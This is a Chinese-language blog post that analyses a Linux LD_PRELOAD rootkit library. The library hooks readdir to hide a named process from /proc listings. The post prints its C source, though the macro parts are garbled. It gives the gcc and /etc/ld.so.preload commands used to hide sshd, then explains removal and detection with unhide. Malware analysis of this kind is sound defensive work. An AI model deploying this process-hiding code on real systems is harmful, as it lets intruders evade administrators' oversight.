库文件劫持代码分析
在上面的文章中我们系统的介绍了linux下的库文件劫持,里面也有相关的演示代码,但是一直感觉这个效果不太好,具体可见:
代码
相关的代码如下,可以看到这里面明显使用了库文件劫持的技术,将相关的.so文件写入到/etc/ld.so.preload中,从而实现动态的加载
通过搜索定位到相关的github代码,定位到以后直接拿来使用:
https://github.com/DarshGoswami1982/pro
里面有两个工具,一个是xhide,另外一个就是用来实现库文件劫持的,我们先来分析库文件劫持的代码,相关代码为:
_GNU_SOURCE <stdio.h> <dlfcn.h> <dirent.h> <string.h> <unistd.h>/* * Every process with this name will be excluded */static const char* process_to_filter = "evil_script.py";/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp, char* buf, size_t size){ int fd = dirfd(dirp);if(fd == -1) {return 0; } char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size);if(ret == -1) {return 0; } buf[ret] = 0;return 1;}/* * Get a process name given its pid */static int get_process_name(char* pid, char* buf){if(strspn(pid, "0123456789") != strlen(pid)) {return 0; } char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r");if(f == NULL) {return 0; }if(fgets(tmp, sizeof(tmp), f) == NULL) { fclose(f);return 0; } fclose(f); int unused; sscanf(tmp, "%d (%[^)]s", &unused, buf);return 1;} DECLARE_READDIR(dirent, readdir) static struct dirent* (*original_#)(DIR*) = NULL; struct dirent* readdir(DIR *dirp) { if(original_# == NULL) { original_# = dlsym(RTLD_NEXT, ); if(original_# == NULL) { fprintf(stderr, "Error in dlsym: %sn", dlerror()); } } struct dirent* dir; while(1) { dir = original_#(dirp); if(dir) { char dir_name[256]; char process_name[256]; if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && strcmp(dir_name, "/proc") == 0 && get_process_name(dir->d_name, process_name) && strcmp(process_name, process_to_filter) == 0) { continue; } } break; } return dir; }DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);
使用
使用其实比较简单,这里面就一处,这里面只需要定义需要隐藏的进程,然后再编译加载就可以实现:
这里面我们直接来隐藏sshd这个进程:
修改隐藏进程
只需要在这里面修改为sshd:
编译加载
直接使用gcc命令来编译,然后加载:
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldlecho /root/libprocesshider.so >> /etc/ld.so.preload
再看一下,相关的进程被隐藏了:
处置
这里面处置其实比较简单,直接把将/etc/ld.so.preload修改为空,默认情况下linux系统不会加载任何的.so文件,然后删除相关的.so文件即可:
然后再看一下,相关的进程可以看到了:
使用unhide查找
这里面我们也可以使用unhide这个工具来查找 ,看一下相关的命令:
[root@VM-4-11-centos ~]# unhideUnhide 20130526Copyright © 2013 Yago Jesus & Patrick GouinLicense GPLv3+ : GNU GPL version 3 or laterhttp://www.unhide-forensics.infoNOTE : This version of unhide is for systems using Linux >= 2.6 Usage: unhide [options] test_listOption : -V Show version and exit -v verbose -h display this help -m more checks (available only with procfs, checkopendir & checkchdir commands) -r use alternate sysinfo testin meta-test -f log result into unhide-linux.log file -o same as '-f' -d do a double check in brute testTest_list : Test_list is one or more of the following Standard tests : brute proc procall procfs quick reverse sys Elementary tests : checkbrute checkchdir checkgetaffinity checkgetparam checkgetpgid checkgetprio checkRRgetinterval checkgetsched checkgetsid checkkill checknoprocps checkopendir checkproc checkquick checkreaddir checkreverse checksysinfo checksysinfo2 checksysinfo3[root@VM-4-11-centos ~]#
可以看到查找到隐藏的进程了:
xhide功能分析
正好我们分析的这个github里面还有一个xhide.c的文件,因此我们也来分析一下相关的功能:
https://github.com/DarshGoswami1982/pro
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...